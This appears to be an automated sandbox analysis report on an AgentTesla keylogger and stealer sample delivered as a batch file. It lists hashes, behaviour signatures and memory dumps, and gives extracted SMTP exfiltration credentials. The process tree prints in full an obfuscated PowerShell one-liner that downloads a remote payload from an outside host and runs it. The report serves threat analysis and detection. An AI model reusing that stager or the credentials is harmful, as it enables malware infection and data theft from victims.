agenttesla | 29a7c6854e8920505d8701b93a6758c7428018619776d58b2cabd5b0ae365ac9

Analysis

max time kernel
148s
max time network
162s
platform
windows10-2004_x64
resource
win10v2004-20240220-en
resource tags

arch:x64arch:x86image:win10v2004-20240220-enlocale:en-usos:windows10-2004-x64system
submitted
21-02-2024 13:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

doc20242102070611.bat
Size

910B
MD5

0a4c91bef832d0127d748ee10069295a
SHA1

5e3b6385df4b1dc17cc0dd46e75294fd07f9370f
SHA256

c8b3d04f87e949c97d4065f8cc667fbd4732dee185bea5d5b8a149aaf2f40987
SHA512

7fef3749b165365813a691b81c19208c58713770f57e3003d565ee3d84abec58bdd2d5ca762523f88aa8f7a4f69bc9cc386d0cef4b73c0b23aeeee73cccb6ad3

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
mail.knoow.net
Port:
587
Username:
[email protected]
Password:
boygirl123

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.knoow.net
Port:
587
Username:
[email protected]
Password:
boygirl123
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	2680	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2680 set thread context of 1048	2680	powershell.exe	93

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2680	powershell.exe
2680	powershell.exe
1048	InstallUtil.exe
1048	InstallUtil.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	2680	powershell.exe
Token: SeIncreaseQuotaPrivilege	2680	powershell.exe
Token: SeSecurityPrivilege	2680	powershell.exe
Token: SeTakeOwnershipPrivilege	2680	powershell.exe
Token: SeLoadDriverPrivilege	2680	powershell.exe
Token: SeSystemProfilePrivilege	2680	powershell.exe
Token: SeSystemtimePrivilege	2680	powershell.exe
Token: SeProfSingleProcessPrivilege	2680	powershell.exe
Token: SeIncBasePriorityPrivilege	2680	powershell.exe
Token: SeCreatePagefilePrivilege	2680	powershell.exe
Token: SeBackupPrivilege	2680	powershell.exe
Token: SeRestorePrivilege	2680	powershell.exe
Token: SeShutdownPrivilege	2680	powershell.exe
Token: SeDebugPrivilege	2680	powershell.exe
Token: SeSystemEnvironmentPrivilege	2680	powershell.exe
Token: SeRemoteShutdownPrivilege	2680	powershell.exe
Token: SeUndockPrivilege	2680	powershell.exe
Token: SeManageVolumePrivilege	2680	powershell.exe
Token: 33	2680	powershell.exe
Token: 34	2680	powershell.exe
Token: 35	2680	powershell.exe
Token: 36	2680	powershell.exe
Token: SeIncreaseQuotaPrivilege	2680	powershell.exe
Token: SeSecurityPrivilege	2680	powershell.exe
Token: SeTakeOwnershipPrivilege	2680	powershell.exe
Token: SeLoadDriverPrivilege	2680	powershell.exe
Token: SeSystemProfilePrivilege	2680	powershell.exe
Token: SeSystemtimePrivilege	2680	powershell.exe
Token: SeProfSingleProcessPrivilege	2680	powershell.exe
Token: SeIncBasePriorityPrivilege	2680	powershell.exe
Token: SeCreatePagefilePrivilege	2680	powershell.exe
Token: SeBackupPrivilege	2680	powershell.exe
Token: SeRestorePrivilege	2680	powershell.exe
Token: SeShutdownPrivilege	2680	powershell.exe
Token: SeDebugPrivilege	2680	powershell.exe
Token: SeSystemEnvironmentPrivilege	2680	powershell.exe
Token: SeRemoteShutdownPrivilege	2680	powershell.exe
Token: SeUndockPrivilege	2680	powershell.exe
Token: SeManageVolumePrivilege	2680	powershell.exe
Token: 33	2680	powershell.exe
Token: 34	2680	powershell.exe
Token: 35	2680	powershell.exe
Token: 36	2680	powershell.exe
Token: SeDebugPrivilege	1048	InstallUtil.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1660 wrote to memory of 2680	1660	cmd.exe	86
PID 1660 wrote to memory of 2680	1660	cmd.exe	86
PID 2680 wrote to memory of 1048	2680	powershell.exe	93
PID 2680 wrote to memory of 1048	2680	powershell.exe	93
PID 2680 wrote to memory of 1048	2680	powershell.exe	93
PID 2680 wrote to memory of 1048	2680	powershell.exe	93
PID 2680 wrote to memory of 1048	2680	powershell.exe	93
PID 2680 wrote to memory of 1048	2680	powershell.exe	93
PID 2680 wrote to memory of 1048	2680	powershell.exe	93
PID 2680 wrote to memory of 1048	2680	powershell.exe	93

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\doc20242102070611.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $rt='x','e','I';[Array]::Reverse($rt);sal z ($rt -join '');$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$tpg='[void','] [Syst','em.Refle','ction.Asse','mbly]::LoadWi','thPartialName(''Microsoft.VisualBasic'')';z($tpg -join '');do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty55='(New-','Obje','ct Ne','t.We','bCli','ent)';$tty=z($tty55 -join '');$tty;$rot='Down','load','str','ing';$rotJ=($rot -join '');$bnt='https','://avrsystems.be/G9.txt';$bng0=($bnt -join '');$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,$rotJ,[Microsoft.VisualBasic.CallType]::Method,$bng0);z($mv)
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1048

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n5jxgv2i.akv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1048-27-0x00000000067F0000-0x0000000006840000-memory.dmp

Filesize
320KB

Download
memory/1048-24-0x0000000005890000-0x00000000058A0000-memory.dmp

Filesize
64KB

Download
memory/1048-19-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1048-31-0x0000000074A00000-0x00000000751B0000-memory.dmp

Filesize
7.7MB

Download
memory/1048-22-0x0000000074A00000-0x00000000751B0000-memory.dmp

Filesize
7.7MB

Download
memory/1048-29-0x0000000006DE0000-0x0000000006E72000-memory.dmp

Filesize
584KB

Download
memory/1048-28-0x00000000068E0000-0x000000000697C000-memory.dmp

Filesize
624KB

Download
memory/1048-23-0x0000000005F40000-0x00000000064E4000-memory.dmp

Filesize
5.6MB

Download
memory/1048-32-0x0000000005890000-0x00000000058A0000-memory.dmp

Filesize
64KB

Download
memory/1048-30-0x0000000006DA0000-0x0000000006DAA000-memory.dmp

Filesize
40KB

Download
memory/1048-25-0x0000000005910000-0x0000000005976000-memory.dmp

Filesize
408KB

Download
memory/2680-16-0x0000016C7D330000-0x0000016C7D356000-memory.dmp

Filesize
152KB

Download
memory/2680-18-0x0000016C7D360000-0x0000016C7D378000-memory.dmp

Filesize
96KB

Download
memory/2680-26-0x00007FFF10770000-0x00007FFF11231000-memory.dmp

Filesize
10.8MB

Download
memory/2680-2-0x0000016C651A0000-0x0000016C651C2000-memory.dmp

Filesize
136KB

Download
memory/2680-17-0x0000016C7D350000-0x0000016C7D35C000-memory.dmp

Filesize
48KB

Download
memory/2680-12-0x00007FFF10770000-0x00007FFF11231000-memory.dmp

Filesize
10.8MB

Download
memory/2680-15-0x0000016C7D3C0000-0x0000016C7D3D0000-memory.dmp

Filesize
64KB

Download
memory/2680-13-0x0000016C7D3C0000-0x0000016C7D3D0000-memory.dmp

Filesize
64KB

Download
memory/2680-14-0x0000016C7D3C0000-0x0000016C7D3D0000-memory.dmp

Filesize
64KB

Download